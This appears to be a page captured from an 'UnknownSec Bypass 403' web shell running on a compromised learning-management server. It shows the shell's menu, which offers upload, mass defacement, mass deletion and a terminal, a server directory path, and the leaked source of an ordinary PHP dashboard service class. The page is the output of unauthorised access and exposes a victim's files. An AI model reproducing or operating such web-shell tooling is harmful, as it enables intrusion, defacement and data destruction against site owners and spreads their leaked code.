UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_0fbd48a558b0
/
app
/
Services
/
Admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
DashboardServices.php
<?php namespace EstudioLMS\Services\Admin; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Repositories\Courses\Course\CourseRepository; use EstudioLMS\Repositories\Financial\HireHeaderRepository; use EstudioLMS\Repositories\Ticket\TicketRepository; class DashboardServices { /** * @var UserRepository */ private $userRepository; /** * @var CourseRepository */ private $courseRepository; /** * @var HireHeaderRepository */ private $hireHeaderRepository; /** * @var TicketRepository */ private $ticketRepository; /** * DashboardServices constructor. * @param UserRepository $userRepository * @param CourseRepository $courseRepository * @param HireHeaderRepository $hireHeaderRepository * @param TicketRepository $ticketRepository */ public function __construct( UserRepository $userRepository, CourseRepository $courseRepository, HireHeaderRepository $hireHeaderRepository, TicketRepository $ticketRepository ) { $this->userRepository = $userRepository; $this->courseRepository = $courseRepository; $this->hireHeaderRepository = $hireHeaderRepository; $this->ticketRepository = $ticketRepository; } public function countStudents() { return count($this->userRepository->allStudents()); } public function countCourses() { return $this->courseRepository->countCourses(); } public function totalMonth() { $month = date('m'); $status = [3]; return $this->hireHeaderRepository->sumMonth($month, 0, $status); } public function totalOpenedTickets() { $tickets = $this->ticketRepository->findWhere( [ ['ticket_status_id', '=', 1] ] )->all(); return count($tickets); } }
Copyright © 2026 - UnknownSec